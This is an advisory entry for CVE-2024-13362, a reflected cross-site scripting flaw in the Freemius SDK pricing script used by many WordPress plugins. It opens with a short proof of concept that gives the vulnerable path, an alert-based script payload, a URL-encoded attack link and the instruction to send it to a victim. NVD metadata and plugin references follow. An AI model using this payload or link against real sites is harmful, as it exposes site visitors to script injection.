CVE-2024-13362

// Proof of Concept for CVE-2024-13362 // The vulnerability exists in the 'url' parameter of various WordPress plugins using Freemius SDK. // Attackers can inject arbitrary web scripts via this parameter. // Step 1: Identify the vulnerable endpoint, e.g., // https://example.com/wp-content/plugins/foogallery/freemius/assets/js/pricing/freemius-pricing.js // Step 2: Construct a malicious URL with the payload in the 'url' parameter. // Payload: "><script>alert('XSS')</script> // Full URL Example: // https://example.com/wp-content/plugins/foogallery/freemius/assets/js/pricing/freemius-pricing.js?url=%22%3E%3Cscript%3Ealert('XSS')%3C/script%3E // Step 3: Send the link to a victim. Upon clicking, the script executes.

{"cve": {"id": "CVE-2024-13362", "sourceIdentifier": "[email protected]", "published": "2026-05-01T06:16:30.050", "lastModified": "2026-05-01T15:26:24.553", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Multiple plugins and/or themes for WordPress are vulnerable to Reflected Cross-Site Scripting via the url parameter in various versions due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/add-search-to-menu/trunk/includes/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/featured-images-for-rss-feeds/trunk/includes/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/foobox-image-lightbox/tags/2.7.33/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/foogallery/tags/2.4.27/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/independent-analytics/trunk/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/interactive-geo-maps/tags/1.6.21/vendor/freemius/wordpress-sdk/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/internal-links/trunk/vendor/freemius/wordpress-sdk/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/master-addons/trunk/lib/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/menu-image/trunk/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/ocean-extra/trunk/includes/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/pdf-poster/trunk/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/shortcodes-ultimate/trunk/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/simply-gallery-block/trunk/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/spotlight-social-photo-feeds/trunk/ui/freemius-pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/tablepress/trunk/libraries/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/unlimited-elements-for-elementor/trunk/provider/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/widgets-on-pages/trunk/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woo-permalink-manager/tags/2.3.11/assets/admin/js/pricing-page/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-meta-and-date-remover/tags/2.3.4/freemius/assets/js/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wpide/tags/3.5.0/dist/pricing/freemius-pricing.js", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3229060/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3235286/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3249130/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vul ... (truncated)